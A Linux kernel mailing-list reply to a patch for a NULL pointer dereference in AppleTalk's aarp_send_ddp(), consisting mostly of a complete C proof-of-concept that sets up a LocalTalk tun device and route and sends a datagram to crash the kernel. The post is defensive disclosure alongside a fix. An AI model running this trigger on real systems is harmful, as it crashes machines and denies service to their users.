* Re: [PATCH net] net: appletalk: fix NULL pointer dereference in aarp_send_ddp()
2026-05-14 12:38 [PATCH net] net: appletalk: fix NULL pointer dereference in aarp_send_ddp() Weiming Shi
@ 2026-05-18 9:58 ` Weiming Shi
2026-05-18 23:40 ` patchwork-bot+netdevbpf
1 sibling, 0 replies; 3+ messages in thread
From: Weiming Shi @ 2026-05-18 9:58 UTC (permalink / raw)
To: David S . Miller, Eric Dumazet, Jakub Kicinski, Paolo Abeni
Cc: Simon Horman, Kees Cook, netdev, Xiang Mei
Required key configs for the poc:
CONFIG_ATALK=y
and need CAP_NET_ADMIN permissions to run the poc.
```
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <errno.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <linux/if.h>
#include <linux/if_tun.h>
#include <linux/if_arp.h>
#include <linux/route.h>
#include <linux/sockios.h>
#ifndef AF_APPLETALK
#define AF_APPLETALK 5
#endif
#ifndef PF_APPLETALK
#define PF_APPLETALK AF_APPLETALK
#endif
struct sockaddr_at {
unsigned short sat_family;
unsigned char sat_port;
struct {
unsigned short s_net;
unsigned char s_node;
} sat_addr;
char sat_zero[8];
};
struct atalk_netrange_layout {
unsigned char nr_phase;
unsigned short nr_firstnet;
unsigned short nr_lastnet;
};
static int tun_alloc(char *dev_name)
{
int fd = open("/dev/net/tun", O_RDWR);
if (fd < 0) {
perror("open /dev/net/tun");
return -1;
}
struct ifreq ifr;
memset(&ifr, 0, sizeof(ifr));
ifr.ifr_flags = IFF_TUN | IFF_NO_PI;
strncpy(ifr.ifr_name, dev_name, IFNAMSIZ - 1);
if (ioctl(fd, TUNSETIFF, &ifr) < 0) {
perror("TUNSETIFF");
close(fd);
return -1;
}
if (ioctl(fd, TUNSETPERSIST, 1) < 0)
perror("TUNSETPERSIST");
if (ioctl(fd, TUNSETLINK, (unsigned long)ARPHRD_LOCALTLK) < 0) {
perror("TUNSETLINK ARPHRD_LOCALTLK");
close(fd);
return -1;
}
return fd;
}
int main(void)
{
setvbuf(stdout, NULL, _IONBF, 0);
setvbuf(stderr, NULL, _IONBF, 0);
printf("[+] PoC for aarp_send_ddp() NULL deref (LocalTalk path)\n");
int tunfd = tun_alloc("ltalk0");
if (tunfd < 0)
return 1;
printf("[+] tun device 'ltalk0' created with type ARPHRD_LOCALTLK (773)\n");
int atsock = socket(PF_APPLETALK, SOCK_DGRAM, 0);
if (atsock < 0) {
perror("socket(AF_APPLETALK)");
return 1;
}
printf("[+] AF_APPLETALK socket created (fd=%d)\n", atsock);
int ctlsock = socket(AF_INET, SOCK_DGRAM, 0);
if (ctlsock < 0) {
perror("socket(AF_INET)");
return 1;
}
struct ifreq ifr;
memset(&ifr, 0, sizeof(ifr));
strncpy(ifr.ifr_name, "lo", IFNAMSIZ - 1);
ioctl(ctlsock, SIOCGIFFLAGS, &ifr);
ifr.ifr_flags |= IFF_UP | IFF_RUNNING;
ioctl(ctlsock, SIOCSIFFLAGS, &ifr);
{
struct ifreq ifr2;
memset(&ifr2, 0, sizeof(ifr2));
strncpy(ifr2.ifr_name, "lo", IFNAMSIZ - 1);
struct sockaddr_at *sat = (struct sockaddr_at *)&ifr2.ifr_addr;
sat->sat_family = AF_APPLETALK;
sat->sat_addr.s_net = htons(0x1234);
sat->sat_addr.s_node = 1;
struct atalk_netrange_layout *nr =
(struct atalk_netrange_layout *)&sat->sat_zero[0];
nr->nr_phase = 2;
nr->nr_firstnet = htons(0x1234);
nr->nr_lastnet = htons(0x1234);
if (ioctl(atsock, SIOCSIFADDR, &ifr2) < 0)
perror("SIOCSIFADDR lo");
else
printf("[+] AppleTalk address configured on lo (net=0x1234, node=1)\n");
}
{
struct rtentry rt;
memset(&rt, 0, sizeof(rt));
struct sockaddr_at *dst = (struct sockaddr_at *)&rt.rt_dst;
struct sockaddr_at *gw = (struct sockaddr_at *)&rt.rt_gateway;
dst->sat_family = AF_APPLETALK;
dst->sat_addr.s_net = htons(0x4321);
dst->sat_addr.s_node = 0;
gw->sat_family = AF_APPLETALK;
gw->sat_addr.s_net = htons(0x4321);
gw->sat_addr.s_node = 1;
rt.rt_flags = RTF_UP;
rt.rt_dev = "ltalk0";
if (ioctl(atsock, SIOCADDRT, &rt) < 0) {
perror("SIOCADDRT (ltalk0 route)");
return 1;
}
printf("[+] route added: 0x4321/0 -> dev ltalk0 (atalk_ptr is NULL!)\n");
}
struct sockaddr_at dest;
memset(&dest, 0, sizeof(dest));
dest.sat_family = AF_APPLETALK;
dest.sat_port = 1;
dest.sat_addr.s_net = htons(0x4321);
dest.sat_addr.s_node = 1;
char payload[16];
memset(payload, 'A', sizeof(payload));
printf("[*] sendto -> network 0x4321 / node 1 (expect NULL deref now)\n");
ssize_t n = sendto(atsock, payload, sizeof(payload), 0,
(struct sockaddr *)&dest, sizeof(dest));
printf("[*] sendto returned %zd (errno=%d %s)\n", n, errno, strerror(errno));
return 0;
}
```
^ permalink raw reply [flat|nested] 3+ messages in thread